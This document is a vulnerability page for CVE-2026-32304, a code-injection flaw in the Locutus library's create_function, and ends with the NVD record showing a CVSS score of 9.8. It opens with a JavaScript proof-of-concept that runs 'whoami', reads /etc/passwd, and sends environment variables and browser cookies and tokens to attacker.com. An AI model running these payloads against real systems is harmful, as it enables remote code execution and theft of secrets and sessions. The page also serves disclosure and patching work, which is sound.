CVE-2026-32304

// CVE-2026-32304 PoC - Locutus create_function Remote Code Execution // Affected versions: Locutus < 3.0.14 // Simulating vulnerable create_function implementation function vulnerable_create_function(args, code) { // Vulnerable: Direct use of Function constructor without sanitization return new Function(args, code); } // PoC 1: Basic RCE via create_function try { const maliciousFunc = vulnerable_create_function('', 'return require("child_process").execSync("whoami")'); console.log('[PoC 1] Executing command...'); console.log('Result:', maliciousFunc()); } catch (e) { console.log('[PoC 1] Error:', e.message); } // PoC 2: Read arbitrary files via Node.js try { const fileReadFunc = vulnerable_create_function('', 'return require("fs").readFileSync("/etc/passwd", "utf8")'); console.log('[PoC 2] Reading /etc/passwd...'); console.log('Content:', fileReadFunc().substring(0, 200)); } catch (e) { console.log('[PoC 2] Error:', e.message); } // PoC 3: Exfiltrate environment variables try { const envExfilFunc = vulnerable_create_function('', 'const exfil = JSON.stringify(process.env); require("https").request({hostname:"attacker.com",path:"/collect?data="+encodeURIComponent(exfil)}); return "Environment exfiltrated";'); console.log('[PoC 3] Environment exfiltration...'); console.log('Result:', envExfilFunc()); } catch (e) { console.log('[PoC 3] Error:', e.message); } // PoC 4: Web context - Steal cookies/localStorage try { const webExfilFunc = vulnerable_create_function('', 'fetch("https://attacker.com/steal?cookie="+document.cookie+"&local="+localStorage.getItem("token"));'); console.log('[PoC 4] Web context exfiltration...'); webExfilFunc(); } catch (e) { console.log('[PoC 4] Error:', e.message); } console.log('[!] This PoC demonstrates the RCE vulnerability in Locutus create_function'); console.log('[!] Fix: Upgrade to Locutus v3.0.14 or later');

{"cve": {"id": "CVE-2026-32304", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:41.830", "lastModified": "2026-03-19T13:48:33.690", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Prior to 3.0.14, the create_function(args, code) function passes both parameters directly to the Function constructor without any sanitization, allowing arbitrary code execution. This is distinct from CVE-2026-29091 which was call_user_func_array using eval() in v2.x. This finding affects create_function using new Function() in v3.x. This vulnerability is fixed in 3.0.14."}, {"lang": "es", "value": "Locutus trae bibliotecas estándar de otros lenguajes de programación a JavaScript con fines educativos. Antes de la versión 3.0.14, la función create_function(args, code) pasa ambos parámetros directamente al constructor Function sin ninguna sanitización, permitiendo la ejecución de código arbitrario. Esto es distinto de CVE-2026-29091, que era call_user_func_array usando eval() en v2.x. Este hallazgo afecta a create_function usando new Function() en v3.x. Esta vulnerabilidad está corregida en 3.0.14."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:locutus:locutus:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "3.0.14", "matchCriteriaId": "96DC0599-8FE6-45BD-AE3C-A76DE784C161"}]}]}], "references": [{"url": "https://github.com/locutusjs/locutus/releases/tag/v3.0.14", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/locutusjs/locutus/security/advisories/GHSA-vh9h-29pq-r5m8", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Patch", "Vendor Advisory"]}]}}